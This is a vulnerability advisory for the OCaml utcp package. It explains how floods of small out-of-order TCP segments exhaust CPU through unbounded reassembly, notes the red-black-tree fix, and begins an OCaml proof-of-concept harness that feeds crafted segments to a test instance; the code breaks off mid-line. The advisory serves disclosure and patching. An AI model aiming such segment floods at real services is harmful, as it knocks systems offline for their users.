An issue was discovered in the utcp package before 0.0.6 for OCaml. Out-of-order segment reassembly allows remote denial of service.

An issue was discovered in the utcp package before 0.0.6 for OCaml. Out-of-order segment reassembly allows remote denial of service.

Affected: opam: utcp

A remote peer that completes a normal TCP handshake can send a stream of small out-of-order segments that never fill the gap at rcv_nxt. utcp keeps one reassembly entry per segment (bounded per connection only by the receive window, about 65000 one-byte entries) and re-folds the whole queue on every segment, so per-packet cost is huge.

This has SegmentSmack shape (CVE-2018-5390): a cheap packet stream imposes disproportionate CPU on the receiver, and there is no cap on the number of such connections.

## Solution

Instead of a flat list, a red-black binary tree is used for the reassembly queue.

## Reproduction

```OCaml let () = Mirage_crypto_rng_unix.use_default ()

let server_ip = Ipaddr.(V4 (V4.of_string_exn "10.0.0.1")) let client_ip = Ipaddr.(V4 (V4.of_string_exn "10.0.0.2")) let now = Mtime.of_uint64_ns 0L let to_wire seg = Utcp.Segment.encode_and_checksum now ~src:client_ip ~dst:server_ip seg

let seg ~seq ?ack ?flag ?(payload = []) ?(payload_len = 0) () = { Utcp.Segment.src_port = 12345; dst_port = 80; seq; ack; flag; push = false; window = 65535; options = []; payload; payload_len }

let feed st s = Utcp.handle_buf st now ~src:client_ip ~dst:server_ip (to_wire s)

(* establish a connection, then feed [n] out-of-order segments that never fill the gap at rcv_nxt; return the CPU time spent *) let cost n = let st = Utcp.start_listen (Utcp.empty Fun.id "victim") 80 in let iss = Utcp.Sequence.of_int32 1000l in let st, _, outs = feed st (seg ~seq:iss ~fla…